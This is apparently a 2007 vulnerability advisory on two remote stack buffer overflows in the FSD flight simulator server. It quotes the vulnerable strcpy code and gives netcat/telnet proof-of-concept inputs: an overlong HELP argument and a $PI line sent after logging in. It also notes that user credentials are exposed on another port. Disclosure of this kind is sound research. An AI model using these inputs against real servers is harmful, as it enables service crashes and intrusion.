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                         Luigi Auriemma

Application: FSD
http://www.mcdu.com/en/download.php
Versions: <= "V2.052 d9" (original FSD) and "V3.000 d9" (FSFDT FSD)
Platforms: Windows and *nix
Bugs: A] buffer-overflow in exechelp
B] buffer-overflow in execmulticast
Exploitation: remote
Date: 01 Oct 2007
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org

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1) Introduction
2) Bugs
3) The Code
4) Fix

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===============
1) Introduction

FSD is an (the only?) open source Flight Simulator server.
An interesting story about it is available here:

http://www.vatpac.org/administration/history.htm

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=======
2) Bugs

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A] buffer-overflow in exechelp

A buffer-overflow vulnerability caused by the usage of strcpy() on a
stack's buffer of 100 bytes is exploitable through the HELP command on
port 3010.

from sysuser.cpp:

void sysuser::exechelp(char **array, int count)
{
int copymode=0, topicmode=0, globalmode=0;
char topic[100],line[100];
char *s=(count>0)?array[0]:(char *)NULL;
if (s) strcpy(topic,s); else
…

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B] buffer-overflow in execmulticast

Another stack buffer-overflow with another buffer of 100 bytes is
exploitable through the sending of various commands to port 6809 which
calls the sendmulticast function.

from servinterface.cpp:

int servinterface::sendmulticast(client *source, char *dest, char *s,
int cmd, int multiok, absuser *ex)
{
client destination=NULL;
char data[1000], servdest[100];
…
switch (dest[0])
{
case '@': case '':
if (!multiok) return 0;
strcpy(servdest, dest);
break;
default:
sprintf(servdest,"%%%s",dest);
…

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===========
3) The Code

A]
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
it's easy to recognize since it shows a "FSD>" prompt) and then send:

HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa…(more_than_100_'a's)…aaaa

B]
connect with nc or telnet to port 6809, now you must log in or create a
new user, but seems that all usernames and passwords are available on
port 3011 (or 3012) where they are sent just when you connect:

#AAcallsign::ident:122222:122222:1:9
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa…(more_than_100_'a's)…aaaa

(in the above example the first 122222 is the CID and the second one is
the password)

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4) Fix

No fix.
No reply from the current maintainers (MCDU).

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Luigi Auriemma
http://aluigi.org
http://forum.aluigi.org
http://mirror.aluigi.org